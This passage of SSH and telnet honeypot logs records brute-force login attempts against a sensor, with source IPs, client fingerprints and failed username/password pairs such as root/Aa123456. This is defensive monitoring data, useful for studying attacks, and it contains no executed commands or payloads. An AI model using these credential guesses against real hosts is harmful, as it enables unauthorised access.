"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:58.991464Z","src_ip":"62.133.62.83","session":"c8c6d7582b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"looser","message":"login attempt [root/looser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:59.230967Z","src_ip":"62.133.62.83","session":"c8c6d7582b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:00.313531Z","src_ip":"62.133.62.83","session":"c8c6d7582b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":33244,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4362a756e2e","protocol":"ssh","message":"New connection: 150.109.247.111:33244 (10.17.0.5:22) [session: d4362a756e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:04.311593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:04.324724Z","src_ip":"150.109.247.111","session":"d4362a756e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:04.526411Z","src_ip":"150.109.247.111","session":"d4362a756e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:05.360138Z","src_ip":"150.109.247.111","session":"d4362a756e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:06.564955Z","src_ip":"150.109.247.111","session":"d4362a756e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34482,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9677f72e5bf","protocol":"telnet","message":"New connection: 135.148.14.151:34482 (159.203.135.109:23) [session: e9677f72e5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:21.692437Z"}
{"eventid":"cowrie.session.closed","duration":38.40035271644592,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:21.827458Z","src_ip":"135.148.14.151","session":"7b5fe369e318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.811275482177734,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:24.933016Z","src_ip":"135.148.14.151","session":"1e18a6a3806f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":37304,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5189f296295","protocol":"ssh","message":"New connection: 201.186.40.161:37304 (10.17.0.5:22) [session: a5189f296295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:43.235196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:43.240354Z","src_ip":"201.186.40.161","session":"a5189f296295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:43.396297Z","src_ip":"201.186.40.161","session":"a5189f296295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"techuser","password":"Tech$123","message":"login attempt [techuser/Tech$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:44.046997Z","src_ip":"201.186.40.161","session":"a5189f296295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:45.206274Z","src_ip":"201.186.40.161","session":"a5189f296295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.295995473861694,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:35:58.987913Z","src_ip":"135.148.14.151","session":"e9677f72e5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54510,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e9fbf1cb653","protocol":"telnet","message":"New connection: 135.148.14.151:54510 (159.203.135.109:23) [session: 1e9fbf1cb653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:12.140106Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56192,"dst_ip":"159.203.135.109","dst_port":23,"session":"46ecf6f74328","protocol":"telnet","message":"New connection: 135.148.14.151:56192 (159.203.135.109:23) [session: 46ecf6f74328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:13.116758Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35366,"dst_ip":"159.203.135.109","dst_port":23,"session":"65c099a3173e","protocol":"telnet","message":"New connection: 135.148.14.151:35366 (159.203.135.109:23) [session: 65c099a3173e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:29.850150Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":50324,"dst_ip":"10.17.0.5","dst_port":22,"session":"7df6442b0ded","protocol":"ssh","message":"New connection: 150.109.247.111:50324 (10.17.0.5:22) [session: 7df6442b0ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:42.361927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:42.367025Z","src_ip":"150.109.247.111","session":"7df6442b0ded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:42.568655Z","src_ip":"150.109.247.111","session":"7df6442b0ded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@123","message":"login attempt [user/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:43.406248Z","src_ip":"150.109.247.111","session":"7df6442b0ded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:44.610340Z","src_ip":"150.109.247.111","session":"7df6442b0ded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.14700245857239,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:36:47.263638Z","src_ip":"135.148.14.151","session":"46ecf6f74328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.28758454322815,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:05.137603Z","src_ip":"135.148.14.151","session":"65c099a3173e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.663079500198364,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:08.802991Z","src_ip":"135.148.14.151","session":"1e9fbf1cb653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55096,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a7addc1ba97","protocol":"telnet","message":"New connection: 135.148.14.151:55096 (159.203.135.109:23) [session: 3a7addc1ba97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:13.145381Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":39340,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea09a2a99ca","protocol":"ssh","message":"New connection: 201.186.40.161:39340 (10.17.0.5:22) [session: 4ea09a2a99ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:21.058618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:21.064524Z","src_ip":"201.186.40.161","session":"4ea09a2a99ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:21.224199Z","src_ip":"201.186.40.161","session":"4ea09a2a99ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vlad","password":"vlad","message":"login attempt [vlad/vlad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:21.889804Z","src_ip":"201.186.40.161","session":"4ea09a2a99ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:23.051566Z","src_ip":"201.186.40.161","session":"4ea09a2a99ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.29.141","src_port":23422,"dst_ip":"159.203.135.109","dst_port":22,"session":"103dc778791d","protocol":"ssh","message":"New connection: 146.190.29.141:23422 (159.203.135.109:22) [session: 103dc778791d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:30.395432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:30.409967Z","src_ip":"146.190.29.141","session":"103dc778791d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:30.643550Z","src_ip":"146.190.29.141","session":"103dc778791d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37424,"dst_ip":"159.203.135.109","dst_port":23,"session":"2574554f183f","protocol":"telnet","message":"New connection: 135.148.14.151:37424 (159.203.135.109:23) [session: 2574554f183f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:36.870315Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42602,"dst_ip":"159.203.135.109","dst_port":23,"session":"a773d70ba585","protocol":"telnet","message":"New connection: 135.148.14.151:42602 (159.203.135.109:23) [session: a773d70ba585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:46.947206Z"}
{"eventid":"cowrie.session.closed","duration":39.56722664833069,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:37:52.712486Z","src_ip":"135.148.14.151","session":"3a7addc1ba97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":58662,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd144619a4d2","protocol":"ssh","message":"New connection: 197.221.232.44:58662 (159.203.135.109:22) [session: dd144619a4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:09.404389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:09.409732Z","src_ip":"197.221.232.44","session":"dd144619a4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:09.653300Z","src_ip":"197.221.232.44","session":"dd144619a4d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e!Q@W#E","message":"login attempt [root/1q2w3e!Q@W#E] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:10.658654Z","src_ip":"197.221.232.44","session":"dd144619a4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.26775884628296,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:11.137974Z","src_ip":"135.148.14.151","session":"2574554f183f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:11.904919Z","src_ip":"197.221.232.44","session":"dd144619a4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51112,"dst_ip":"159.203.135.109","dst_port":23,"session":"beb87fb20af7","protocol":"telnet","message":"New connection: 135.148.14.151:51112 (159.203.135.109:23) [session: beb87fb20af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:12.266115Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":49970,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b877d24cdf","protocol":"ssh","message":"New connection: 150.109.247.111:49970 (10.17.0.5:22) [session: 83b877d24cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:13.232481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:13.237557Z","src_ip":"150.109.247.111","session":"83b877d24cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:13.440310Z","src_ip":"150.109.247.111","session":"83b877d24cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"xyz","message":"login attempt [admin/xyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:14.278462Z","src_ip":"150.109.247.111","session":"83b877d24cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:15.484920Z","src_ip":"150.109.247.111","session":"83b877d24cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.175.154","src_port":35552,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce46808480c7","protocol":"ssh","message":"New connection: 96.127.175.154:35552 (10.17.0.5:22) [session: ce46808480c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:15.844271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:38:15.849944Z","src_ip":"96.127.175.154","session":"ce46808480c7","protocol":"ssh"}
